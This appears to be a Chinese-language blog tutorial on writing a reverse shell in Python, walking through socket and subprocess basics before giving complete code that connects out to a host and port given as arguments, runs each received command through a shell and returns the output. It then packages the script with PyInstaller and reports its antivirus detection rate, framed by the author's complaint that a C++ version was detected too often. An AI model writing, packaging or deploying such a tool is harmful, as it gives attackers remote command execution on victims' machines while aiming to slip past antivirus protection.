自写渗透工具之shell工具编写(python篇)

  • A+

前几天写了个c++反弹shell的工具,实在是无奈,c++被杀的太狠了,看一张图就明白了

3.jpg

忽然想起来,用python写效果可能会更好,说干就干。

知识储备

编写反弹shell,我们首先要明白简单的通信原理。

1184802201708211615267771550555645.png

在python里面实现通信,我们需要一个socket库。

我们可以使用下面的方法轻易的实现一个能够通信的服务端、客户端

```python
import socket

phone = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

phone.bind(('127.0.0.1',2333))
phone.listen()
phone.accept()

python
import socket

phone = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
phone.connect(('127.0.0.1',2333))

```

除了这些之外,还有一些常用的函数用来实现通信:

```python

recv() #接受TCP数据
send() #发送TCP数据
recvfrom() #接受UDP数据
sendto() #发送UDP数据
getpeername() #接收到当前套接字远端的地址
getsockname() #返回指定套接字的参数
setsockopt() #设置指定套接字的参数
close() #关闭套接字

```

了解了通信模块之后,我们还需要一个subprocess子进程模块,因为我们的目的不是通信,而是将我们发送的命令进行执行,并返回给我们,而subprocess子进程模块就可以实现我们的需求。这个模块本身是为了代替一些老的模块而来的,所以使用起来很方便。

```python

import subprocess

Popen方法是用来执行系统命令的,直接把结果打印到终端了

res =subprocess.Popen(r'dir',shell=True,
#r'dsfsdfr',shell=True,
# stdin= #标准输入(不常用)
stdout=subprocess.PIPE,#stdout 标准输出
stderr=subprocess.PIPE) #stderr 标准错误

print(res.stdout.read().decode('gbk'))

```

这就是一个子进程执行命令的小demo。

代码编写

有了上面的知识储备,我们就可以来编写我们的代码了。思路如下:

使用程序链接我们的服务,然后接受我们发的数据,执行并把回显返回给我们。

具体代码如下:

```python

import socket
import subprocess
import sys

def reve_shell(host,port):

host = socket.gethostbyname(host)
shell = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
shell.connect((host,port))

while True:
    cmd = shell.recv(1024)
    res = subprocess.Popen(cmd.decode('utf-8'),
                           shell=True,
                           stdout=subprocess.PIPE,
                           stderr=subprocess.PIPE)
    stdout = res.stdout.read()
    stderr = res.stderr.read()

    shell.send(stdout+stderr)

shell.close()

if name == 'main':

host = sys.argv[1]
port = int(sys.argv[2])
reve_shell(host=host,port=port)

```
注意,python的sys接受的参数是str类型,需要进行简单的转换。

然后,我们肯定不能就这样使用了,因为这样依赖python环境,实在不方便,我们使用Pyinstaller进行打包。

```language
pyinstaller -F myfile.py

```
得到了我们的目标文件。我们来看下效果:

截图_20200326_143520.png

windows下也一样哦。

vt走一波:

截图_20200326_143607.png

相关推荐: 浅谈被动探测思路

本文中的规则分析,大部分来自于以前被动漏扫研发的实践,其中如有纰漏或者差错,希望诸位给出修正意见。 SQL注入 对于SQLI注入,可以使用sqlmapapi进行检测。 优点在于,对于一些带回显和延时注入,企业内部检测没有waf拦截,会较为准确的定位。 缺点在于…